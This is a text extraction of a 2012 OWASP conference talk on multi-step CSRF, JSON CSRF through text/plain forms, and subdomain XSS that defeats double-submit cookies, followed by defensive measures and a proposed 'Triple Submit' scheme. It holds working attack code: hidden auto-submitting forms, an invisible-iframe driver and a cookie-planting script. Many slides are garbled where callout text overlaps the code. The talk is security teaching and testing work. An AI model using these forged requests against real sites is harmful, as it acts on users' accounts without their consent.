SlideShare a Scribd company logo
Advanced CSRF
           and
   Stateless Anti-CSRF


@johnwilander at OWASP AppSec Research
                 2012
Frontend developer at
 Svenska Handelsbanken

 Researcher in application
 security
 Co-leader OWASP Sweden


@johnwilander
johnwilander.com (music)
  johnwilander.se (papers
           etc)
Some Quick
CSRF Basics
Cross-Site Request
     Forgery
        Request Fo
                   rgery



 Cro
     ss-
        Sit
            e
Cross-Site Request
     Forgery
             Request Forgery
         Cros
             s-Si
                  te
  Ph
    ish
       ing
What’s on your mind?          What’s on your mind?
                       POST                          POST
What’s on your mind?          What’s on your mind?
I love OWASP!          POST                          POST
What’s on your mind?          What’s on your mind?
I love OWASP!          POST                          POST

John: I love OWASP!
What’s on your mind?          What’s on your mind?
                       POST                          POST
What’s on your mind?          What’s on your mind?
                       POST   I hate OWASP!          POST
What’s on your mind?          What’s on your mind?
                       POST   I hate OWASP!          POST
What’s on your mind?          What’s on your mind?
                       POST   I hate OWASP!          POST

John: I hate OWASP!
What’s on your mind?             What’s on your mind?
                       POST   <form id="target" method="POST"
                               action="https://1-liner.org/form">
John: I hate OWASP!             <input type="text" value="I hate
                                 OWASP!" name="oneLiner"/>
                                <input type="submit"
                                 value="POST"/>
                              </form>

                              <script type="text/javascript">
                                $(document).ready(function() {
                                    $('#form').submit();
                                });
                              </script>
<form id="target" method="POST"
           action="https://1-liner.org/form">
            <input type="text" value="I hate
              OWASP!" name="oneLiner"/>
            <input type="submit"
What’s on your mind?         What’s on your mind?
              value="POST"/>
                     POST
         </form>
John: I hate OWASP!

           <script>
             $(document).ready(function() {
                 $('#target').submit();
             });
           </script>
Multi-Step,
Semi-Blind
  CSRF
What about ”several steps”?



    Step 1                Step 2               Step 3




   State built up i steps, server roundtrip in-between
Step 1   Step 2         Step 3



                                 st
                              ue ll
                          r eq wi
                        ed tep ous
                    rg t s
                   o s
                  F a          re vi
                      l      p
                   to the
                   m iss
Can we forge timed GETs and
POSTs
in a deterministic, non-blind
way?


 Step 1         Step 2     Step 3




            1    2   3 4
csrfMultiDriver.html

  invisible
  iframe

  csrfMulti0.html
csrfMultiDriver.html

  invisible          invisible
  iframe             iframe

   target0.html     csrfMulti1.html




                  Wait
csrfMultiDriver.html

  invisible       invisible          invisible
  iframe          iframe             iframe

   target0.html    target1.html     csrfMulti2.html




                                  Wait
csrfMultiDriver.html

  invisible       invisible       invisible          invisible
  iframe          iframe          iframe             iframe

   target0.html    target1.html    target2.html     csrfMulti3.html




                                                  Wait
csrfMultiDriver.html

  invisible       invisible       invisible       invisible
  iframe          iframe          iframe          iframe

   target0.html    target1.html    target2.html    target3.html
Let's look at
An iframed CSRF
Get
Invisible iframe for timed GET

<!DOCTYPE html>
<html>
<head>
    <script>
        var IFRAME_ID = "0", GET_SRC =
          "http://www.vulnerable.com/some.html?param=1";
    </script>
    <script src="../iframeGetter.js"></script>
</head>
<body onload="IFRAME_GETTER.onLoad()">
Extra easy to CSRF since it's done with HTTP GET.
</body>
</html>




                                              csrfMulti0.ht
The iframed page configures which
    URL to CSRF against via a JavaScript-
<!DOCTYPE html>
    variable.
<html>
<head>
    <script>
        var IFRAME_ID = "0", GET_SRC =
          "http://www.vulnerable.com/some.html?param=1";
    </script>
    <script src="../iframeGetter.js"></script>
</head>
<body onload="IFRAME_GETTER.onLoad()">
Extra easy to CSRF since it's done with HTTP GET.
</body>
</html>




                                              csrfMulti0.ht
<!DOCTYPE html>
<html>
<head>
    <script>
       When the iframe'sGET_SRC = done
        var IFRAME_ID = "0",
                              DOM is
          "http://www.vulnerable.com/some.html?param=1";
       loading IFRAME_GETTER.onload() is
    </script>
       called.
    <script src="../iframeGetter.js"></script>
</head>
<body onload="IFRAME_GETTER.onLoad()">
Extra easy to CSRF since it's done with HTTP GET.
</body>
</html>




                                              csrfMulti0.ht
<!DOCTYPE html>
<html>
<head>
    <script>
        var IFRAME_ID = "0", GET_SRC =
    Let's"http://www.vulnerable.com/some.html?param=1";
           look at
    iframeGetter.js …
    </script>
    <script src="../iframeGetter.js"></script>
</head>
<body onload="IFRAME_GETTER.onLoad()">
Extra easy to CSRF since it's done with HTTP GET.
</body>
</html>




                                             csrfMulti0.ht
var IFRAME_GETTER = {};
IFRAME_GETTER.haveGotten = false;
IFRAME_GETTER.reportAndGet = function() {
    var imgElement;
    if(parent != undefined) {
        parent.postMessage(IFRAME_ID,
                           "https://attackr.se:8444");
    }
    if(!IFRAME_GETTER.haveGotten) {
        imgElement = document.createElement("img");
        imgElement.setAttribute("src", GET_SRC);
        imgElement.setAttribute("height", "0");
        imgElement.setAttribute("width", "0");
        imgElement.setAttribute("onerror",
        "javascript:clearInterval(IFRAME_GETTER.intervalId)");
        document.body.appendChild(imgElement);
        IFRAME_GETTER.haveGotten = true;
    }
};
IFRAME_GETTER.onLoad = function() {
    IFRAME_GETTER.intervalId =
      setInterval(IFRAME_GETTER.reportAndGet, 1000);
};
                                             iframeGetter.js
var IFRAME_GETTER = {};
IFRAME_GETTER.haveGotten = false;
IFRAME_GETTER.reportAndGet = function() {
    var imgElement;
    if(parent != undefined) {
        parent.postMessage(IFRAME_ID,
                           "https://attackr.se:8444");
    }
    if(!IFRAME_GETTER.haveGotten) {
        imgElement = document.createElement("img");
        imgElement.setAttribute("src", GET_SRC);
        imgElement.setAttribute("height", "0");
    IFRAME_GETTER.onload() makes sure
        imgElement.setAttribute("width", "0");
    that the iframe reports back to the
        imgElement.setAttribute("onerror",
        "javascript:clearInterval(IFRAME_GETTER.intervalId)");
    main page once every second.
        document.body.appendChild(imgElement);
        IFRAME_GETTER.haveGotten = true;
    } so called heart beat function.
    A
};
IFRAME_GETTER.onLoad = function() {
    IFRAME_GETTER.intervalId =
      setInterval(IFRAME_GETTER.reportAndGet, 1000);
};
                                             iframeGetter.js
var IFRAME_GETTER = {};
IFRAME_GETTER.haveGotten = false;
IFRAME_GETTER.reportAndGet = function() {
    var imgElement;
    if(parent != undefined) {
        parent.postMessage(IFRAME_ID,
                           "https://attackr.se:8444");
    }
    if(!IFRAME_GETTER.haveGotten) {
       In practice, document.createElement("img");
        imgElement = the heart beats are
       delivered via postMessage between
        imgElement.setAttribute("src", GET_SRC);
        imgElement.setAttribute("height", "0");
       the iframe and the main page.
        imgElement.setAttribute("width", "0");
        imgElement.setAttribute("onerror",
        "javascript:clearInterval(IFRAME_GETTER.intervalId)");
        document.body.appendChild(imgElement);
        IFRAME_GETTER.haveGotten = true;
    }
};
IFRAME_GETTER.onLoad = function() {
    IFRAME_GETTER.intervalId =
      setInterval(IFRAME_GETTER.reportAndGet, 1000);
};
                                             iframeGetter.js
var IFRAME_GETTER = {};
IFRAME_GETTER.haveGotten = false;
IFRAME_GETTER.reportAndGet = function() {
    var imgElement;
    if(parent != undefined) {
       The GET CSRF is"https://attackr.se:8444");
                            executed with an
        parent.postMessage(IFRAME_ID,

    } <img src="vulnerable URL">
    if(!IFRAME_GETTER.haveGotten) {
        imgElement = document.createElement("img");
        imgElement.setAttribute("src", GET_SRC);
        imgElement.setAttribute("height", "0");
        imgElement.setAttribute("width", "0");
        imgElement.setAttribute("onerror",
        "javascript:clearInterval(IFRAME_GETTER.intervalId)");
        document.body.appendChild(imgElement);
        IFRAME_GETTER.haveGotten = true;
    }
};
IFRAME_GETTER.onLoad = function() {
    IFRAME_GETTER.intervalId =
      setInterval(IFRAME_GETTER.reportAndGet, 1000);
};
                                             iframeGetter.js
var IFRAME_GETTER onerror event will fire
            The = {};
IFRAME_GETTER.reportAndGet = function() { does
            since the vulnerable URL
IFRAME_GETTER.haveGotten = false;

            not respond with an image. We
    var imgElement;
    if(parent != undefined) {
            use that event to stop the
        parent.postMessage(IFRAME_ID,
            heart beat function. No heart
                           "https://attackr.se:8444");
    }
            beat means the main page
    if(!IFRAME_GETTER.haveGotten) {
        imgElement = this step is done and
            knows document.createElement("img");
        imgElement.setAttribute("src", GET_SRC);
            can continue opening the next
        imgElement.setAttribute("height", "0");
            iframe.
        imgElement.setAttribute("width", "0");
        imgElement.setAttribute("onerror",
        "javascript:clearInterval(IFRAME_GETTER.intervalId)");
        document.body.appendChild(imgElement);
        IFRAME_GETTER.haveGotten = true;
    }
};
IFRAME_GETTER.onLoad = function() {
    IFRAME_GETTER.intervalId =
      setInterval(IFRAME_GETTER.reportAndGet, 1000);
};
                                             iframeGetter.js
Let's look at
An iframed CSRF
Post
<!DOCTYPE html>
<html>             Invisible iframe for timed
<head>
    <script>
                   POST
        var IFRAME_ID = "1";
    </script>
    <script src="../iframePoster.js"></script>
</head>
<body onload="IFRAME_POSTER.onLoad()">

<form id="target" method="POST"
 action="https://www.vulnerable.com/addBasket.html"
 style="visibility:hidden">
    <input type="text" name="goodsId"
           value="95a0b76bde6b1c76e05e28595fdf5813" />
    <input type="text" name="numberOfItems" value="1" />
    <input type="text" name="country" value="SWE" />
    <input type="text" name="proceed" value="To checkout" />
</form>

</body>
</html>
                                              csrfMulti1.ht
<!DOCTYPE html>
<html>
<head>
    <script>
        var IFRAME_ID = "1";
    </script>
         The vulnerable URL can be
    <script src="../iframePoster.js"></script>
</head>
         found in the form to be
<body onload="IFRAME_POSTER.onLoad()">
          posted.
<form id="target" method="POST"
 action="https://www.vulnerable.com/addBasket.html"
 style="visibility:hidden">
    <input type="text" name="goodsId"
           value="95a0b76bde6b1c76e05e28595fdf5813" />
    <input type="text" name="numberOfItems" value="1" />
    <input type="text" name="country" value="SWE" />
    <input type="text" name="proceed" value="To checkout" />
</form>

</body>
</html>
                                                 csrfMulti1.ht
<!DOCTYPE html>
<html>
<head>
    <script>
       When the iframe's DOM is done
        var IFRAME_ID = "1";
       loading IFRAME_POSTER.onload()
    </script>                                    is
    <script src="../iframePoster.js"></script>
</head>called.
<body onload="IFRAME_POSTER.onLoad()">

<form id="target" method="POST"
 action="https://www.vulnerable.com/addBasket.html"
 style="visibility:hidden">
    <input type="text" name="goodsId"
           value="95a0b76bde6b1c76e05e28595fdf5813" />
    <input type="text" name="numberOfItems" value="1" />
    <input type="text" name="country" value="SWE" />
    <input type="text" name="proceed" value="To checkout" />
</form>

</body>
</html>
                                              csrfMulti1.ht
<!DOCTYPE html>
<html>
<head>
      Let's IFRAME_ID iframePoster.js
    <script>
        var
             look at = "1";
      …
    </script>
    <script src="../iframePoster.js"></script>
</head>
<body onload="IFRAME_POSTER.onLoad()">

<form id="target" method="POST"
 action="https://www.vulnerable.com/addBasket.html"
 style="visibility:hidden">
    <input type="text" name="goodsId"
           value="95a0b76bde6b1c76e05e28595fdf5813" />
    <input type="text" name="numberOfItems" value="1" />
    <input type="text" name="country" value="SWE" />
    <input type="text" name="proceed" value="To checkout" />
</form>

</body>
</html>
                                                 csrfMulti1.ht
var IFRAME_POSTER = {};

IFRAME_POSTER.havePosted = false;

IFRAME_POSTER.reportAndPost = function() {
    if(parent != undefined) {
        parent.postMessage(IFRAME_ID,
                           "https://attackr.se:8444");
    }
    if(!IFRAME_POSTER.havePosted) {
        document.forms['target'].submit();
        IFRAME_POSTER.havePosted = true;
    }
};

IFRAME_POSTER.onLoad = function() {
    setInterval(IFRAME_POSTER.reportAndPost, 1000);
};


                                              iframePoster
var IFRAME_POSTER = {};

IFRAME_POSTER.havePosted = false;

IFRAME_POSTER.reportAndPost = function() {
    if(parent != undefined) {
        parent.postMessage(IFRAME_ID,
                           "https://attackr.se:8444");
    }
    if(!IFRAME_POSTER.havePosted) { makes sure
    IFRAME_POSTER.onload()
    thedocument.forms['target'].submit(); main
         iframe reports back to the
        IFRAME_POSTER.havePosted = true;
    page once every second. Again, a
    }
};
    heart beat function.
IFRAME_POSTER.onLoad = function() {
    setInterval(IFRAME_POSTER.reportAndPost, 1000);
};


                                              iframePoster
var IFRAME_POSTER = {};

IFRAME_POSTER.havePosted = false;

IFRAME_POSTER.reportAndPost = function() {
    if(parent != undefined) {
        parent.postMessage(IFRAME_ID,
                           "https://attackr.se:8444");
    The heart beats stop automatically
    }
    when the POST is done since the
    if(!IFRAME_POSTER.havePosted) {
        document.forms['target'].submit();
    iframe is loaded with thetrue;
        IFRAME_POSTER.havePosted = response
    }
}; from the web server that got the
    POST.
IFRAME_POSTER.onLoad = function() {
    setInterval(IFRAME_POSTER.reportAndPost, 1000);
};


                                              iframePoster
The main page configures the order of
        the CSRF steps, opens iframes and …
var CSRF = function(){
  var hideIFrames = true,
      frames = [
    {id: 0, hasPosted: "no", hasOpenedIFrame: false, src: 'csrfMulti0.html'}
   ,{id: 1, hasPosted: "no", hasOpenedIFrame: false, src: 'csrfMulti1.html'}
                ],
      appendIFrame =
        function(frame) {
           var domNode = '<iframe src="' + frame.src +
                         '" height="600" width="400"' +
                         (hideIFrames ? 'style="visibility: hidden"' : '') +
                         '></iframe>';
           $("body").append(domNode);
        };
…




                                                 csrfMultiDriver.ht
return {                                         … listens on
  checkIFrames : function() {
     var frame;                                  heart beats to
     for (var i = 0; i < frames.length; i++) {
       frame = frames[i];                        time every
                                                 iframe
       if (!frame.hasOpenedIFrame) {
         appendIFrame(frame);
         frame.hasOpenedIFrame = true;
         break; // Only open one iframe at the time
       } else if(frame.hasPosted == "no") {
         frame.hasPosted = "maybe";
         break; // iframe not done posting, wait
       } else if(frame.hasPosted == "maybe") {
         frame.hasPosted = "yes";
         break; // iframe not done posting, wait
       } else if (frame.hasPosted == "yes") {
         continue; // Time to allow for the next iframe to open
       }
     }
  },

  receiveMessage : function(event) {
    if (event.origin == "https://attackr.se:8444") {
      CSRF.frames[parseInt(event.data)].hasPosted = "no";
      // Still on CSRF page so POST not done yet
    }
  }                                              csrfMultiDriver.ht
Demo Multi-Step,
Semi-Blind CSRF
  against amazon.com
 which has protection
      against this.
The intention is to show
 how you can test your
       own sites.
There used to be a
protection in web
       1.5
Forced Browsing
                   wizard-style



Shipment info ✉                   Payment info $




                  Next                             Buy!
Forced Browsing
                   wizard-style



Shipment info ✉                   Payment info $




                         Token


                  Next                             Buy!
Forced Browsing
                   wizard-style



Shipment info ✉                    Payment info $




                         Re-Auth


                  Next                              Buy!
Forced Browsing
          wizard-style




Token 1     Token 2      Token 3
Forced Browsing
                  wizard-style




Token 1               Token 2               Token 3




State built up i steps, server roundtrip in-between
Forced Browsing
          wizard-style




Token 1     Token 2         Token 3



                                 fo rge
                            n’t to
                        uld est
                      Co qu
                        re t step
                           las out a
                            w tith oken
                             va  lid
But in RIAs ...
RIA & client-side
      state
   {
   ”purchase”: {}
   }
RIA & client-side
      state
   {
   ”purchase”: {
     ”items”: [{}]
     }
   }
RIA & client-side
      state
   {
   ”purchase”: {
     ”items”: [{},{}]
     }
   }
RIA & client-side
      state
   {
   ”purchase”: {
     ”items”: [{},{}],
     ”shipment”: {}
     }
   }
RIA & client-side
      state
   {
   ”purchase”: {
     ”items”: [{},{}],
     ”shipment”: {},
     ”payment”: {}
     }
   }
RIA & client-side
      state
   {
   ”purchase”: {
     ”items”: [{},{}],
     ”shipment”: {},
     ”payment”: {}
     }
   }
Can an attacker
forge such a JSON
    structure?
CSRF Against
RESTful Services
CSRF possible?
     {
     ”purchase”: {
       ”items”: [{},{}],
       ”shipment”: {},
       ”payment”: {}
       }
     }
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners">



 <input type="text"
  name=””
  value="" />



 <input type="submit" value="Go" />

</form>
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners"
 style="visibility:hidden">


 <input type="text"
  name=””
  value="" />



 <input type="submit" value="Go" />

</form>
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners"
 style="visibility:hidden"
 enctype="text/plain">

 <input type="text"
  name=””
  value="" />



 <input type="submit" value="Go" />

</form>
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
          8444/ws/oneliners"
 style="visibility:hidden"
 enctype="text/plain">
                Forms produce a request body that
                looks like this:
 <input type="text"
  name=””
                theName=theValue
  value="" />
                 ... and that’s not valid JSON.


 <input type="submit" value="Go" />

</form>
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners"
 style="visibility:hidden"
 enctype="text/plain">

 <input type="text"
  name='{"id": 0, "nickName": "John",
         "oneLiner": "I hate OWASP!",
         "timestamp": "20111006"}//'
  value="dummy" />

 <input type="submit" value="Go" />

</form>
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners"
 style="visibility:hidden" body that looks
              Produces a request
              like this:
 enctype="text/plain">

 <input type="text" 0, "nickName":
               {"id":
  name='{"id": "John","oneLiner": "I
                  0, "nickName": "John",
               hate OWASP!","timestamp":
         "oneLiner": "I hate OWASP!",
               "20111006"}//=dummy
         "timestamp": "20111006"}//'
  value="dummy" />
               ... and that is acceptable JSON!
 <input type="submit" value="Go" />

</form>
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners"
 style="visibility:hidden"
 enctype="text/plain">

 <input type="text"
  name='{"id": 0, "nickName": "John",
         "oneLiner": "I hate OWASP!",
         "timestamp": "20111006",
         "paddingDummy": "'
  value='"}' />

 <input type="submit" value="Go" />
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners"
 style="visibility:hidden" body that looks
              Produces a request
              like this:
 enctype="text/plain">

 <input type="text" 0, "nickName":
               {"id":
  name='{"id": "John","oneLiner": "I
                  0, "nickName": "John",
               hate OWASP!","timestamp":
         "oneLiner": "I hate OWASP!",
               "20111006",
         "timestamp": "20111006",
               "paddingDummy": "="}
         "paddingDummy": "'
  value='"}' />
               ... and that is JSON!
 <input type="submit" value="Go" />
Demo CSRF POST
              then

Demo CSRF + XSS

The Browser Exploitation Framework
      http://beefproject.com/
Important in your REST
         API
 • Restrict do CSRF with GETe.g. POST
   Easier to
             HTTP method,


 • Restrict to AJAX if applicable
   X-Requested-With:XMLHttpRequest
   Cross-domain AJAX prohibited by default

 • Restrict media type(s), e.g.
   application/json
   HTML forms only allow URL encoded, multi-
   part and text/plain
Double Submit
  (CSRF Protection)
Double Submit
  (CSRF protection)

     Anti-CSRF value
     as cookie ...

     ... and
     request parameter
Double Submit
  (CSRF protection)




                     cookie ≠
                     request parameter


   Cannot read the
   anti-CSRF cookie to
   include it as parameter
Double Submit
             (CSRF protection)




Anti-CSRF cookie can
be generated client-side
=> no server-side state
Demo Double
  Submit
Are We Fully
Protected Now?
Are We Fully
Protected Now?
   Of course not
The Other
                   Subdomain
https://securish.1-liner.org          https://other.1-liner.org

                                                                  Search




                               Buy!
The Other
                   Subdomain
https://securish.1-liner.org          https://other.1-liner.org

                                         <script>alert('XSS')</script>   Search


                                                       XSS
                                                          OK



                               Buy!
The Other
                   Subdomain
https://securish.1-liner.org            https://other.1-liner.org

                                      <script>                          Search
                                       $.cookie(
                                         "doubleSubmitToken",
                                         "knownValue",
                                         { path: "/",
                                           domain: ".1-liner.org" });
                                      </script>
                               Buy!
Demo Subdomain
XSS Double Submit
     Bypass
I'm proposing some sort of
 Triple Submit
     CSRF Protection
Triple Submit
 (CSRF protection)

    Initial request of
    rich internet app
Triple Submit
 (CSRF protection)


  Random HttpOnly cookie

  Cookie value as
  JavaScript variable
Triple Submit
              (CSRF protection)


               Random HttpOnly cookie

               Cookie value as
               request parameter

Stateful:
Cookie name saved in server session
Stateless:
Server only accepts one such cookie (checks format)
The 3rd Submit
• The server sets an HttpOnly cookie
  with a random name and random
  value

• The server tells the client the value
  of the random cookie, not the name

• The client submits the value of the
  cookie as a request parameter
The 3rd Submit
     • The server sets an httpOnly cookie
response.setHeader("Set-Cookie",
 randomName a random randomValue + ";
       with + "=" + name and random
       value
 HttpOnly; path='/'; domain=.1-liner.org");
      • The server tells the client the name
        and value of the random cookie

      • The Client submits the name and
        value of the cookie as a request
        parameter
The 3rd Submit
     • The server sets an httpOnly cookie
       with a random name and random
       value
<script>
     •
var ANTI_CSRF_TRIPLE the client the name %>;
       The server tells = <%= randomValue
</script> value of the random cookie
       and

     • The Client submits the name and
         value of the cookie as a request
         parameter
The 3rd Submit

• Cookie value as parameter
• The cookie name
• The cookie value
My Demo System is Being
 Released as an OWASP


• https://www.owasp.org/index.php?
  title=OWASP_1-Liner

• https://github.com/johnwilander/
  owasp-1-liner
Thanks!
@johnwilander

More Related Content

What's hot (20)

PPTX
Dom based xss
Lê Giáp
 
PDF
4 andrii kudiurov - web application security 101
Ievgenii Katsan
 
PPT
Blind SQL Injection
Blueinfy Solutions
 
PDF
Dom XSS - Encounters of the 3rd Kind (Bishan Singh Kochher)
ClubHack
 
PPTX
Postcards from the post xss world- content exfiltration null
Piyush Pattanayak
 
PPTX
JSON SQL Injection and the Lessons Learned
Kazuho Oku
 
PDF
How LinkedIn changed its security model in order to offer an API
LinkedIn
 
PPTX
JWT Authentication with AngularJS
robertjd
 
PPTX
Html5 security
Krishna T
 
PDF
Progressive Enhancement 2.0 (jQuery Conference SF Bay Area 2011)
Nicholas Zakas
 
PPTX
Building Secure User Interfaces With JWTs
robertjd
 
PDF
VSA: The Virtual Scripted Attacker, Brucon 2012
Abraham Aranguren
 
PPT
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
Shreeraj Shah
 
PPTX
Browser Internals-Same Origin Policy
Krishna T
 
PDF
When Ajax Attacks! Web application security fundamentals
Simon Willison
 
PDF
Secure java script-for-developers
n|u - The Open Security Community
 
PPTX
Secure web messaging in HTML5
Krishna T
 
ODP
Top 10 Web Security Vulnerabilities
Carol McDonald
 
PDF
HTML5 and the dawn of rich mobile web applications pt 1
James Pearce
 
PPTX
OWASP Top 10 - Day 1 - A1 injection attacks
Mohamed Talaat
 
Dom based xss
Lê Giáp
 
4 andrii kudiurov - web application security 101
Ievgenii Katsan
 
Blind SQL Injection
Blueinfy Solutions
 
Dom XSS - Encounters of the 3rd Kind (Bishan Singh Kochher)
ClubHack
 
Postcards from the post xss world- content exfiltration null
Piyush Pattanayak
 
JSON SQL Injection and the Lessons Learned
Kazuho Oku
 
How LinkedIn changed its security model in order to offer an API
LinkedIn
 
JWT Authentication with AngularJS
robertjd
 
Html5 security
Krishna T
 
Progressive Enhancement 2.0 (jQuery Conference SF Bay Area 2011)
Nicholas Zakas
 
Building Secure User Interfaces With JWTs
robertjd
 
VSA: The Virtual Scripted Attacker, Brucon 2012
Abraham Aranguren
 
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
Shreeraj Shah
 
Browser Internals-Same Origin Policy
Krishna T
 
When Ajax Attacks! Web application security fundamentals
Simon Willison
 
Secure java script-for-developers
n|u - The Open Security Community
 
Secure web messaging in HTML5
Krishna T
 
Top 10 Web Security Vulnerabilities
Carol McDonald
 
HTML5 and the dawn of rich mobile web applications pt 1
James Pearce
 
OWASP Top 10 - Day 1 - A1 injection attacks
Mohamed Talaat
 

Similar to Advanced CSRF and Stateless Anti-CSRF (20)

DOCX
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
Samvel Gevorgyan
 
PPT
CSRF_RSA_2008_Jeremiah_Grossman
guestdb261a
 
PDF
CNIT 129S: 13: Attacking Users: Other Techniques (Part 1 of 2)
Sam Bowne
 
PPTX
Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter
Nilesh Sapariya
 
PDF
Top 10 Web Application vulnerabilities
Terrance Medina
 
PPTX
A8 cross site request forgery (csrf) it 6873 presentation
Albena Asenova-Belal
 
PDF
Cross-site request forgery (also known as CSRF) is a web vulnerability that a...
Varun Mithran
 
PPTX
Understanding Cross-site Request Forgery
Daniel Miessler
 
PPT
Cross Site Request Forgery Vulnerabilities
Marco Morana
 
PPTX
Cyber security 2.pptx
NotSure11
 
PDF
Evolution Of Web Security
Chris Shiflett
 
PPTX
Mitigating CSRF with two lines of codes
Minhaz A V
 
PPTX
JSON based CSRF
Amit Dubey
 
PPTX
Web Vulnerabilities - Building Basic Security Awareness
Gurpreet Luthra
 
PPTX
Cross site request forgery(csrf)
Ai Sha
 
PDF
Rich Web App Security - Keeping your application safe
Jeremiah Grossman
 
PPT
OWASP Serbia - A5 cross-site request forgery
Nikola Milosevic
 
PDF
Cross-Site Request Forgery Vulnerability: “A Sleeping Giant”
Capgemini
 
PPTX
Web application security
Jin Castor
 
PDF
Prevention Against CSRF Attack using Client Server Mutual Authentication Tech...
IRJET Journal
 
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
Samvel Gevorgyan
 
CSRF_RSA_2008_Jeremiah_Grossman
guestdb261a
 
CNIT 129S: 13: Attacking Users: Other Techniques (Part 1 of 2)
Sam Bowne
 
Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter
Nilesh Sapariya
 
Top 10 Web Application vulnerabilities
Terrance Medina
 
A8 cross site request forgery (csrf) it 6873 presentation
Albena Asenova-Belal
 
Cross-site request forgery (also known as CSRF) is a web vulnerability that a...
Varun Mithran
 
Understanding Cross-site Request Forgery
Daniel Miessler
 
Cross Site Request Forgery Vulnerabilities
Marco Morana
 
Cyber security 2.pptx
NotSure11
 
Evolution Of Web Security
Chris Shiflett
 
Mitigating CSRF with two lines of codes
Minhaz A V
 
JSON based CSRF
Amit Dubey
 
Web Vulnerabilities - Building Basic Security Awareness
Gurpreet Luthra
 
Cross site request forgery(csrf)
Ai Sha
 
Rich Web App Security - Keeping your application safe
Jeremiah Grossman
 
OWASP Serbia - A5 cross-site request forgery
Nikola Milosevic
 
Cross-Site Request Forgery Vulnerability: “A Sleeping Giant”
Capgemini
 
Web application security
Jin Castor
 
Prevention Against CSRF Attack using Client Server Mutual Authentication Tech...
IRJET Journal
 
Ad

More from johnwilander (10)

PDF
JavaScript Beyond jQuery (Jfokus 2013)
johnwilander
 
PDF
Tre sårbarheter i webbappar
johnwilander
 
PDF
Web Integration Patterns in the Era of HTML5
johnwilander
 
PDF
Hotlinking is Too Hot for Comfort
johnwilander
 
KEY
Stateless Anti-Csrf
johnwilander
 
KEY
Application Security for Rich Internet Applicationss (Jfokus 2012)
johnwilander
 
PDF
JavaScript för Javautvecklare
johnwilander
 
PDF
Application Security, in Six Parts (HackPra 2012)
johnwilander
 
KEY
RIPE: Runtime Intrusion Prevention Evaluator
johnwilander
 
KEY
Application Security for RIAs
johnwilander
 
JavaScript Beyond jQuery (Jfokus 2013)
johnwilander
 
Tre sårbarheter i webbappar
johnwilander
 
Web Integration Patterns in the Era of HTML5
johnwilander
 
Hotlinking is Too Hot for Comfort
johnwilander
 
Stateless Anti-Csrf
johnwilander
 
Application Security for Rich Internet Applicationss (Jfokus 2012)
johnwilander
 
JavaScript för Javautvecklare
johnwilander
 
Application Security, in Six Parts (HackPra 2012)
johnwilander
 
RIPE: Runtime Intrusion Prevention Evaluator
johnwilander
 
Application Security for RIAs
johnwilander
 
Ad

Recently uploaded (20)

PDF
NewMind AI - Journal 100 Insights After The 100th Issue
NewMind AI
 
PDF
TrustArc Webinar - Data Privacy Trends 2025: Mid-Year Insights & Program Stra...
TrustArc
 
PDF
Meetup Kickoff & Welcome - Rohit Yadav, CSIUG Chairman
ShapeBlue
 
PDF
July Patch Tuesday
Ivanti
 
PPTX
Building a Production-Ready Barts Health Secure Data Environment Tooling, Acc...
Barts Health
 
PPTX
UiPath Academic Alliance Educator Panels: Session 2 - Business Analyst Content
DianaGray10
 
PDF
Log-Based Anomaly Detection: Enhancing System Reliability with Machine Learning
Mohammed BEKKOUCHE
 
PPT
Interview paper part 3, It is based on Interview Prep
SoumyadeepGhosh39
 
PPTX
Webinar: Introduction to LF Energy EVerest
DanBrown980551
 
PDF
CIFDAQ Token Spotlight for 9th July 2025
CIFDAQ
 
PDF
Complete JavaScript Notes: From Basics to Advanced Concepts.pdf
haydendavispro
 
PDF
Human-centred design in online workplace learning and relationship to engagem...
Tracy Tang
 
PDF
SFWelly Summer 25 Release Highlights July 2025
Anna Loughnan Colquhoun
 
PDF
LLMs.txt: Easily Control How AI Crawls Your Site
Keploy
 
PDF
How Startups Are Growing Faster with App Developers in Australia.pdf
India App Developer
